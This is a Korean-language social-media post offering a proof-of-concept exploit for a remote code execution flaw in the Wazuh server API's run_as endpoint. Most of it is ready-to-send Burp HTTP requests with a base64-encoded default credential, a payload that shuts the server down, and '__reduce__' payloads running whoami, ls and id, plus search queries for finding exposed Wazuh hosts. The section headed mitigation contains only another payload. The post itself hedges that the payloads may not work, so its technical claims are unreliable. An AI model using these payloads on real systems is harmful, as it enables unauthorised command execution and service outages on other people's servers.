
Wazuh 서버에서 wazuh-manager 패키지의 안전하지 않은 역직렬화로 인해 심각한 RCE 취약점이 확인되었습니다. 이 버그는 Wazuh 버전 4.4.0 이상에 영향을 미치며 버전 4.9.1에서 패치되었습니다.
🚨 Wazuh 원격 코드 실행 (RCE) - PoC
Wazuh 서버에서 wazuh-manager 패키지의 안전하지 않은 역직렬화로 인해 심각한 RCE 취약점이 확인되었습니다. 이 버그는 Wazuh 버전 ≥ 4.4.0에 영향을 미치며 버전 4.9.1에서 패치되었습니다.
🔍 세부 정보
이 결함은 Wazuh API의 DistributedAPI에 존재하며, 사용자 제어 입력이 안전하지 않게 역직렬화됩니다. 이로 인해 API 접근 권한이 있는 공격자(예: 손상된 대시보드 또는 클러스터 노드)가 run_as 엔드포인트를 사용하여 마스터 서버에서 임의의 Python 코드를 실행할 수 있습니다.
📬 개념 증명 (Burp 요청)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 Authorization 헤더는 wazuh-wui:MyS3cr37P450r.*-의 base64입니다.
📌 이 페이로드는 Python의 exit() 메서드를 호출하여 Wazuh 서버를 종료시킵니다.
💥 영향
🛡️ 완화
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
그러나 이것만으로는 역직렬화 코드가 실제로 객체 트리를 실행하지 않으면 작동하지 않습니다. 대신 코드를 실행하는 __reduce__ 기반 객체를 사용하십시오.
다음은 pickle 유사 로직을 통해 Python의 os.system()을 사용하는 Burp 요청의 작동 형식입니다.
💣 작동하는 Burp RCE 페이로드 (Python 코드 실행)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 ls를 실행하려면 페이로드를 변경하십시오:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
다음도 사용할 수 있습니다:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ 참고: 이 작업이 작동하려면 실제 역직렬화가 백엔드에서 eval() 또는 유사한 메커니즘으로 이루어져야 합니다. Wazuh PoC에 따르면 auth_context를 제어할 수 있다면 실제로 가능합니다.
🔐 전문가 팁 Burp에서 요청을 가로채서 Repeater 탭으로 이동하여 다음과 같은 여러 페이로드를 테스트하십시오:
"whoami""id""uname -a""ls /home/wazuh"👇 검색어
product.name="Wazuh"app="Wazuh"응답이 비어 있거나 상태가 500이면 로그를 확인하십시오. 때때로 출력이 반환되지 않습니다. 📚 날카로운 상태를 유지하세요, 해커 여러분! 더 많은 버그 바운티 PoC, 우회 기법, 페이로드가 곧 제공됩니다!
매일 해킹 콘텐츠를 보려면 👉 @cybersecplayground를 팔로우하세요!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit